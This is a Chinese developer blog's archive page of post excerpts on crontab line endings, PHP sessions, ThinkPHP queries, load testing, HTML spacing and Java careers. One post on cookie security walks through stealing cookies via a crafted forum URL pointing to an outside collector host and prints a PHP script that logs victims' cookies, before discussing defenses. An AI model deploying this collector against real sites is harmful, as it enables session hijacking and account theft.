分类目录归档:JAVA

关于java的那些事儿

crontab 定时命令不执行,手工可以执行怎么办

无论如何质疑不如先看看日志 tail -300 /var/log/cron 想起来上几天有同事把/etc/crontab 给改了,他习惯把linux文件下载到windows上改,然后就多了这个传说的^M 所有得命令行失效 尽管crontab -l 能看到很多命令行,其实一条也不好用 清楚这个M的一组命令行 cat -v /etc/crontab | tr -d "^M" > /etc/crontab1 rm /etc/crontab mv /etc/crontab1 /etc/crontab crontab /etc/crontab crontab -l 生效了。 Windows下保存的文本文件,上传到Linux/Unix下后总会在末尾多了一个换行符^M,导致一些xml、ini、sh等文件读取错误,造成linux命令无法正确执行。 windows换行是\r\n,十六进制数值是:0D0A。 LINUX换行是\n,十六进制数值是:0A 一、使用vi编辑器,vi是类Unix系统下功能强大的编辑器,利用vi,可以替我们解决很多问题: 1. vi 文件名 2.按下 Esc 3. … 继续阅读

发表在 JAVA | 标签为 , , , | 一条评论

深入了解Session,定时控制

当程序启动session_start()之后,就会生成一个sessionID,保存在$_COOKIE变量中(此时,该sessionID并没有保存到客户端,他仅仅存在于会话之中)。同时服务器端默认会在/tmp目录下建立一个session文件,文件名是用前缀“sess_”再加上当前的sessionID组合而成的,我暂且把他叫做sess文件吧。 cookie机制: 当使用cookie机制的时候,在sess文件中没有保存任何数据。而cookie中的数据,实际上是通过setcookie()的方法保存在客户端的。 并且,该方法只将指定的数据保存到了客户端,而sessionID并没有被保存到客户端。这个时候sessionID依然存在于会话之中。 当重新打开浏览器之后,我们发现当前的sessionID实际上已经不是之前的sessionID了, 但是cookie中的数据并不受影响,我们仍然可以通过$_COOKIE变量来获取cookie的值。 php中的session有效期默认是1440秒(24分钟),也就是说,客户端超过24分钟没有刷新,当前session就会失效。当然如果用户关闭了浏览器,会话也就结束了,Session自然也不存在了! 最近的后台开发,遇到这个情况,浏览器不定期的退出Session,让人头疼,服务器改成24小时以后过期根本无效。 我们见到的一些代码片段,经过严格测试根本达不到1小时 1. ini_set("session.cookie_lifetime","3600"); // 秒       if(isset($_SESSION[’expiretime’])) {          if($_SESSION[’expiretime’] < time()) {              unset($_SESSION[’expiretime’]);              header(’Location: logout.php?TIMEOUT’); // 登出              exit(0);          } else {              $_SESSION[’expiretime’] = time() + 3600; // 刷新时间戳          }      }   1、session.use_cookies:默认的值是“1”,代表SessionID使用Cookie来传递,反之就是使用Query_String来传递; 2、session.name:这个就是SessionID储存的变量名称,可能是Cookie,也可能是Query_String来传递,默认值是“PHPSESSID”; 3、session.cookie_lifetime:这个代表SessionID在客户端Cookie储存的时间,默认是0,代表浏览器一关闭SessionID就作废……就是因为这个所以Session不能永久使用! 4、session.gc_maxlifetime:这个是Session数据在服务器端储存的时间,如果超过这个时间,那么Session数据就自动删除! 在PHP的文档中明确指出,设定session有效期的参数是session.gc_maxlifetime。可以在php.ini文件中,或者通过ini_set()函数来修改这一参数。问题在于,经过多次测试,修改这个 参数基本不起作用,session有效期仍然保持24分钟的默认值。 分析下原因 默认配置,session.gc_probability = 1,session.gc_divisor … 继续阅读

发表在 JAVA, PHP | 标签为 | 留下评论

thinkphp 子查询算法

//采用thinkphp模式进行的子查询算法 $model = M(); $subQuery = $model->field(’piwik_source’)->table(’think_user_cart_log’)->group(’piwik_cookie’)->where($where)->order(’piwik_cookie’)->buildSql();   $vlist = $model->field(’count(t.piwik_source) as num, t.piwik_source’)->table($subQuery.’ as t’)->group(’piwik_source’)->order("num desc")->select(); echo $model->getLastSQL(); var_dump($vlist); // echo $subQuery; exit; //强制手写sql语句的查询方式 $sql = ‘SELECT count(t.piwik_source) as num, t.piwik_source FROM( select piwik_source from `think_user_cart_log` WHERE piwik_cookie IS … 继续阅读

发表在 JAVA | 留下评论

Cookie欺骗及反欺骗 论cookie安全

Cookie文件不能作为代码执行,也不会传送病毒,它为用户所专有并只能由创建它的服务器来读取。 浏览器一般只允许存放300个Cookie, 每个站点最多存放20个Cookie, 每个Cookie的大小限制为4KB, Cookie代表了你的身份,那么安全性就有得考虑了。 1.Cookie欺骗: Cookie记录了用户的帐户ID、密码之类的信息,通常使用MD5方法加密后在网上传递。经过加密处理后的信息即使被网络上一些别有用心的人截获也看不懂。然而,现在存在的问题是,截获Cookie的人不需要知道这些字符串的含义,只要把别人的Cookie向服务器提交,并且能够通过验证,就可以冒充受害人的身份登陆网站,这种行为叫做Cookie欺骗。 别人穿了你的衣服,冒充你去做了新郎 2.Cookie截获 Cookie以纯文本的形式在浏览器和服务器之间传送,很容易被他人非法截获和利用。任何可以截获Web通信的人都可以读取Cookie。  这个就是一些新手,还有一些网站,傻乎乎的把用户的账户和密码,明文在互联网上传送。核心信息都是加密传送的。记住一点,你发出的任何经过浏览器的信息,提交的表单,不仅仅服务器知道,还有网络传送过程的经历的那些路由器 Cookie截获 http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6;
将其中”“更换为:
”“再试,如果执行成功,就开始构造URL:
http://www.XXX.net/tXl/login/login.pl?username=&passwd=&ok.X=28&ok.y=6.
其中http://www.cbifamily.org/cbi.php是用户能够控制的某台主机上的一个脚本。需要注意的是”%2b”为符号”+”的URL编码,因为”+”将被作为空格处理。该URL即可在论坛中发布,诱使别人点击。
 步骤二:编制收集Cookie的PHP脚本,并将其放到用户可以控制的网站上,当不知情者点击了构造的URL后可以执行该PHP代码。该脚本的具体内容如下: <?php  $info=getenv("OUERY_STRING");  if($info){   $fp=fopen("info.tXt","a");   fwrite($fp,!info."\n");  fclose($fp); }  header("Location:http://www.XXX.net"); ?> 将这段代码放到网络里,则能够收集所有人的Cookie。如果一个论坛允许HTML代码或者允许使用Flash标签,就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可收集到大量的Cookie。在论坛上,有许多人的密码就是被这种方法盗走的。  明白为啥那么多安全团队都会明确指出你的search.php的参数,可以注入javascript脚本是多么的危险啊 废话那么多。只是我好奇 如何防止cookie被伪装,盗取 答案1:不用cookie,用session (session的硬伤是无法做到保持用户一年免输入密码登录) 答案2:用cookie,但是我加密 比如常规情况下我保存一个cookie username setcookie("username",$username); 现在我保存2个 username, token setcookie("username",$username); setcookie("token",$token); $token 是怎么来的 … 继续阅读

发表在 JAVA, PHP, WEB前端 | 标签为 , , | 留下评论

Java人员必须要会的10个技能

以下为java大数据计算招聘公司排行前10的技能
 Spring 299 MySQL 290 JavaScript 216 Linux 165 J2EE 151 设计模式 148 Struts2 138 Hibernate 132 Mybatis 130 jQuery 128 这是从450家企业的招聘信息中统计而来,月小升博客觉得还是比较真实的,虽然有些公司的招聘要求万年不变,但还是可以大致反应企业的招聘要求的。 尽管Struts2漏洞频出,但是由于政府、银行以及传统企业遗留项目大部分还是采用Struts2的,所以还是占有一定市场,但绝壁不会增长。新兴互联网公司,一般来说主要是Spring家族居多,spring、spring Mvc以及Spring Boot 出现的频率较多。 从图中可以看出,分布式服务框架应用也是大部分企业招聘的必要条件了,阿里系的Dubbo名列前茅。相应的分布式应用程序协调服Zookeeper也出现在其中。 时下很流行的RESTful架构,准确的来说它是一种标准。也是很多企业考察的对象。 以下是出现次数超过100的一些技能,大家可以做一个参考。 Spring 299 MySQL 290 JavaScript 216 Linux 165 J2EE 151 设计模式 … 继续阅读

发表在 JAVA | 标签为 , , , , | 留下评论

apache 自带压力测试工具ab 来场测试吧

apache自带压力测试工具 叫 ab 装了apache 在bin下就有了。 ab -n 20 -c 10 http://java-er.com/ -n 请求数量 -c并发数 你也可以 ab -n 1000 -c 100 your domain 返回结果 This is ApacheBench, Version 2.3 Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache … 继续阅读

发表在 JAVA, Linux, PHP | 标签为 , , | 留下评论

java 程序员如何成长

作为刚刚进入Java领域的新同学,无论是高校的毕业大学生,还是有志转行的在职人员,都面临着诸多如下的困惑。 l 如何学习Java语言? l 在Java学习过程中需要掌握哪些技能? l 各大公司对Java开发的要求是什么? l Java 学习过程中有哪些注意事项? l Java 工程师的职业发展规划是什么? 我把Java 的学习过程分为5个阶段:理论阶段、开发阶段、进阶阶段、实战阶段以及深造阶段。 理论阶段 在具体谈论Java知识点之前,我想先跟同学们聊聊Java 语言自身的一些特点、生态系统以及适用的场景,这有助于我们更好的学习语言本身。 首先,我们从Java 语言自身的实现机制来聊聊Java 语言的一些特性: 面向对象:Java 是一门面向对象的编程语言,封装、继承、多态这些特性使得Java 语言适用于大型软件系统的研发。 跨平台:这是Java 最重要的特性之一,由于有虚拟机的支持,Java 代码可以无缝运行在任何操作系统中,无需重新编译; 透明内存管理:做C/C++的同学最头疼的事情就是内存泄漏问题,在Java中,由于虚拟机会自动回收不再使用的内存空间,所以程序员无需显式回收内存。 足够的性能:性能一直是Java为人诟病的问题之一,但是在java6 之后,随着JVM虚拟机编译优化技术的不断进步,垃圾回收算法的不断优化,Java的性能已经能够胜任绝大多数系统的要求,甚至在性能要求极为苛刻的底层系统中,我们也能看到Java的身影。 此外,Java 还有完善的生态系统: Java 拥有数量众多的第三方类库,作为一个开发者,你会发现作为一名Java程序员是一件很幸福的事情,因为很多事情别人都已经帮你做好了,你需要做的只是把别人造好的轮子组装起来,实现你的业务需求。 Java 拥有非常完善的开发环境Eclipse,集成了非常多实用的功能,且操作界面非常友好。 Java 有非常多优秀的框架,基于这些框架,可以快速开发出一个可扩展的业务系统。 Java 拥有非常活跃的社区和论坛,当你遇到问题的时候,你可以快速的得到其他人的帮助。 … 继续阅读

发表在 JAVA | 标签为 , , | 3 条评论

HTML排版中文英文标点不对齐

经常做网页的时候,客户发来意见,一个字在单独一行,中文后面结尾不对齐诸如此类的细节性问题。 所有工程师都讨厌优化此类细节,首先没什么技术含量,其实这排版的活,真把自己搞得像个工人,农民了。 不过,魔鬼都在细节里,下次你可以做的更细,收取客户更多的费用。或许没收到费用,你会得到赞赏,得到更多的生意或者薪水。 就是使用一些空格实现个数不等的中文对齐或等宽。 字符以及HTML实体 描述以及说明 1.&nbsp; 这是我们使用最多的空格,也就是按下space键产生的空格。在HTML中,如果你用空格键产生此空格,空格是不会累加的(只算1个)。要使用html实体表示才可累加。为了便于记忆,我总是把这个空格成为“牛逼(nb)空格(sp – space)”,虽然实际上并不牛逼。该空格占据宽度受字体影响明显而强烈。在inline-block布局中会搞些小破坏,在两端对齐布局中又是不可少的元素。是个让人又爱又恨的小东东。 2.&ensp; 该空格学名不详。为了便于记忆,我们不妨就叫它“恶念(e n-ian)空格”。此空格传承空格家族一贯的特性:透明滴!此空格有个相当稳健的特性,就是其占据的宽度正好是1/2个中文宽度,而且基本上不受字体影响。 3.&emsp; 该空格学名不详。为了便于记忆,我们不妨就叫它”恶魔(e m-o)空格”。此空格也传承空格家族一贯的特性:透明滴!此空格也有个相当稳健的特性,就是其占据的宽度正好是1个中文宽度,而且基本上不受字体影响。 4.&thinsp; 该空格学名不详。我们不妨称之为“瘦弱空格”,就是该空格长得比较瘦弱,身体单薄,占据的宽度比较小。我目前是没用过这个东西,这里亮出来是让其过一下群众演员的瘾。 其中的 &ensp; 和 &emsp;, 由于具有某一超赞的特性,使其可以登上web届的舞台!什么特性呢?如上表加粗展示,1. 透明; 2. 宽度正好跟中文 正好是1:2和1:1的关系,于是,一些中文排版对齐什么的,直接就可以使用这两个空格调节,如: <ul> <li class="li">姓&emsp;&emsp;名:<input type="text" /></li> <li class="li">手&ensp;机&ensp;号:<input type="text" /></li> <li class="li">电子邮箱:<input type="text" /></li></ul> … 继续阅读

发表在 JAVA | 留下评论

MAC系统查看自己的java位置

打开命令行工具 which java /usr/bin/java ls -l /usr/bin/java lrwxr-xr-x 1 root wheel 74 12 3 2015 /usr/bin/java -> /System/Library/Frameworks/JavaVM.framework/Versions/Current/Commands/java ls -l /System/Library/Frameworks/JavaVM.framework/Versions drwxr-xr-x 8 root wheel 272 12 3 2015 A lrwxr-xr-x 1 root wheel 1 12 3 2015 Current -> … 继续阅读

发表在 JAVA, MAC | 标签为 , , | 留下评论

php-java-bridge php调用java的方法

此方法不需要重启apache,不需要修改php.ini文件 php-java-bridge 项目地址 http://php-java-bridge.sourceforge.net/pjb/download.php 下载 php-java-bridge.jar java.inc 双击php-java-bridge.jar 浏览器输入 http://localhost:8080/ 能看到下载目录的东西(因为我直接在我的下载目录双击了这个jar) 估计放在哪里双击,就会显示这个目录的所有文件。 网页底部显示这些信息 写一个php http://localhost/javaer/java.php 把下载的java.inc 放在javaer目录下 java.php 内容 <?php //define("JAVA_DEBUG", true); //调试设置 //define("JAVA_HOSTS", "127.0.0.1:8080"); //设置javabridge监听端口,如果开启javabridge.jar设置的端口不是8080,可通过此语句更改 require_once("Java.inc"); //php调用java的接口,路径问题需要注意 $here=realpath(dirname($_SERVER["SCRIPT_FILENAME"])); //java_set_library_path($here.PATH_SEPARATOR .’.'); //java_set_library_path($here.PATH_SEPARATOR .’.'); //设置java开发包(class或jar文件)路径,多个路径就用PATH_SEPARATOR分隔,保证跨平的支持。 //java_set_file_encoding("GBK"); //设置JAVA编码。没试过其它的编码,也没深入研究如何能用其它的编码。   echo ‘<meta charset="UTF-8">’; … 继续阅读

发表在 JAVA, PHP | 标签为 , , | 留下评论